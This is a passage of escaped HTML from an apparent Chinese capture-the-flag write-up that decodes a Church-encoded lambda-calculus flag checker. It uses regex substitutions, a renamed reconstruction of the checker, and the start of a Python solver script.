&lt;&#x2F;span&gt;&lt;span&gt;input_text&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;re.subn(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;r&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\( \\(?P&amp;lt;p1&amp;gt;var_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;[0-9]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;)\. \( \\(?P&amp;lt;p2&amp;gt;var_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;[0-9]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;)\. \(\(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;(?P=p2) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\( \\(?P&amp;lt;p3&amp;gt;var_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;[0-9]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;)\. \(first \(\(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;(?P=p3) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\( \\(?P&amp;lt;p4&amp;gt;var_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;[0-9]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;)\. \(\(PAIR \(second &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;(?P=p4)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\)\) \(succ \(second &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;(?P=p4)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\)\)\)\)\) \(\(PAIR false\) false\)\)\)\)\) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;(?P=p1)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\)\)\)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;sub&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, input_text)[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;input_text&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;re.subn(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;r&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\( \\(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;P&amp;lt;P1&amp;gt;var_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;[0-9]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;)\. \( \\(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;P&amp;lt;P2&amp;gt;var_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;[0-9]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;)\. \(\(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;(?P=P1) (?P=P2)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;(?P=P1)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\)\)\)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;and&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, input_text)[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;input_text&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;re.subn(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;r&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\( \\(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;P&amp;lt;P1&amp;gt;var_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;[0-9]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;)\. \( \\(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;P&amp;lt;P2&amp;gt;var_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;[0-9]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;)\. \(\(and \(is_zero \(\(sub &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;(?P=P1)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;(?P=P2)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\)\)\) \(is_zero \(\(sub &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;(?P=P2)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;(?P=P1)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\)\)\)\)\)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;equal&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, input_text)[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;input_text&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;re.subn(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;r&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\( \\(var_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;[0-9]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt; true\)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;nil&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, input_text)[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;input_text&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;re.subn(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;r&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\( \\(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;P&amp;lt;P1&amp;gt;var_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;[0-9]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;)\. \(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;(?P=P1) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\( \\(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;P&amp;lt;P2&amp;gt;var_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;[0-9]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;)\. \( \\(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;P&amp;lt;P3&amp;gt;var_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;[0-9]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;)\. false\)\)\)\)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;is_nil&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, input_text)[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(input_text)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;替换过后就简洁很多了，再经过整理、重命名，得到如下代码&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;fl&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-fl &quot;&gt;&lt;code class=&quot;language-fl&quot; data-lang=&quot;fl&quot;&gt;&lt;span&gt;(
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;equal &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;num_3
&lt;&#x2F;span&gt;&lt;span&gt;    (
&lt;&#x2F;span&gt;&lt;span&gt;        (
&lt;&#x2F;span&gt;&lt;span&gt;            (&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;Y&lt;&#x2F;span&gt;&lt;span&gt; \list_equal_count. \list1. \list2. (
&lt;&#x2F;span&gt;&lt;span&gt;                ((&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;is_nil&lt;&#x2F;span&gt;&lt;span&gt; list1)) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;num_0&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;                (&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;plus
&lt;&#x2F;span&gt;&lt;span&gt;                    (&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;equal &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;first&lt;&#x2F;span&gt;&lt;span&gt; list1) (&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;first&lt;&#x2F;span&gt;&lt;span&gt; list2)) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;num_1 num_0&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;                    (list_equal_count (&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;second&lt;&#x2F;span&gt;&lt;span&gt; list1) (&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;second&lt;&#x2F;span&gt;&lt;span&gt; list2))
&lt;&#x2F;span&gt;&lt;span&gt;                )
&lt;&#x2F;span&gt;&lt;span&gt;            ))
&lt;&#x2F;span&gt;&lt;span&gt;            (
&lt;&#x2F;span&gt;&lt;span&gt;                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;Y &lt;&#x2F;span&gt;&lt;span&gt;(\op. \matrix_line. \input_list. 
&lt;&#x2F;span&gt;&lt;span&gt;                    (&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;is_nil&lt;&#x2F;span&gt;&lt;span&gt; matrix_line) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;nil&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;                    (&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;PAIR 
&lt;&#x2F;span&gt;&lt;span&gt;                        (
&lt;&#x2F;span&gt;&lt;span&gt;                            (&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;Y&lt;&#x2F;span&gt;&lt;span&gt; \op2. \matrix_item. \input_item. \i. (
&lt;&#x2F;span&gt;&lt;span&gt;                                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;is_nil&lt;&#x2F;span&gt;&lt;span&gt; matrix_item) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;num_7
&lt;&#x2F;span&gt;&lt;span&gt;                                (&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;plus
&lt;&#x2F;span&gt;&lt;span&gt;                                    (&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;mul 
&lt;&#x2F;span&gt;&lt;span&gt;                                        (&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;plus &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;first&lt;&#x2F;span&gt;&lt;span&gt; matrix_item) (&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;sub &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;mul &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;num_2&lt;&#x2F;span&gt;&lt;span&gt; i) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;num_5&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span&gt;                                        (&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;sub &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;first&lt;&#x2F;span&gt;&lt;span&gt; input_item) ((&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;plus &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;num_13&lt;&#x2F;span&gt;&lt;span&gt;) (&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;sub &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;num_11 &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;mul &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;num_3&lt;&#x2F;span&gt;&lt;span&gt; i))))
&lt;&#x2F;span&gt;&lt;span&gt;                                    )
&lt;&#x2F;span&gt;&lt;span&gt;                                    (op2 (&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;second&lt;&#x2F;span&gt;&lt;span&gt; matrix_item) (&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;second&lt;&#x2F;span&gt;&lt;span&gt; input_item) (&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;succ&lt;&#x2F;span&gt;&lt;span&gt; i))
&lt;&#x2F;span&gt;&lt;span&gt;                                ))
&lt;&#x2F;span&gt;&lt;span&gt;                            ) (&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;first&lt;&#x2F;span&gt;&lt;span&gt; matrix_line) input_list &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;num_2
&lt;&#x2F;span&gt;&lt;span&gt;                        )
&lt;&#x2F;span&gt;&lt;span&gt;                        (op (&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;second&lt;&#x2F;span&gt;&lt;span&gt; matrix_line) input_list)
&lt;&#x2F;span&gt;&lt;span&gt;                    )
&lt;&#x2F;span&gt;&lt;span&gt;                )
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;                (&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;PAIR &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;PAIR &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;num_4 &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;PAIR &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;num_6 &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;PAIR &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;num_5 nil&lt;&#x2F;span&gt;&lt;span&gt;)))
&lt;&#x2F;span&gt;&lt;span&gt;                (&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;PAIR &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;PAIR &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;num_4 &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;PAIR &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;num_3 &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;PAIR &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;num_6 nil&lt;&#x2F;span&gt;&lt;span&gt;))))
&lt;&#x2F;span&gt;&lt;span&gt;                (&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;PAIR &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;PAIR &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;num_7 &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;PAIR &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;num_4 &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;PAIR &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;num_7 nil&lt;&#x2F;span&gt;&lt;span&gt;))))
&lt;&#x2F;span&gt;&lt;span&gt;                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;nil&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;                ((&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;PAIR &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;input_30&lt;&#x2F;span&gt;&lt;span&gt;) ((&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;PAIR &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;input_31&lt;&#x2F;span&gt;&lt;span&gt;) ((&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;PAIR &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;input_32&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;nil&lt;&#x2F;span&gt;&lt;span&gt;)))
&lt;&#x2F;span&gt;&lt;span&gt;            )
&lt;&#x2F;span&gt;&lt;span&gt;        )
&lt;&#x2F;span&gt;&lt;span&gt;        (&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;PAIR &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;num_1848 &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;PAIR &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;num_1711 &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;PAIR &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;num_2179 nil&lt;&#x2F;span&gt;&lt;span&gt;)))
&lt;&#x2F;span&gt;&lt;span&gt;    )
&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这段代码就可以直接写解密脚本了，要注意lambda里面的减法是不会有负数的&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;numpy &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;as &lt;&#x2F;span&gt;&lt;span&gt;np
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;re
&lt;&#x2F;span&gt;&lt;span&gt;count&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;[]
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;num_replace&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;match&lt;&#x2F;span&gt;&lt;span&gt;:re.Match[&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;]) -&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#3bc0f0;&quot;&gt;global &lt;&#x2F;span&gt;&lt;span&gt;count
&lt;&#x2F;span&gt;&lt;span&gt;    numl&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;match[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;].count(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;(&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span&gt;numl&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;with &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;open&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;lambda.txt&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;r&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;as &lt;&#x2F;span&gt;&lt;span&gt;f:
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;line &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span&gt;f.readlines():
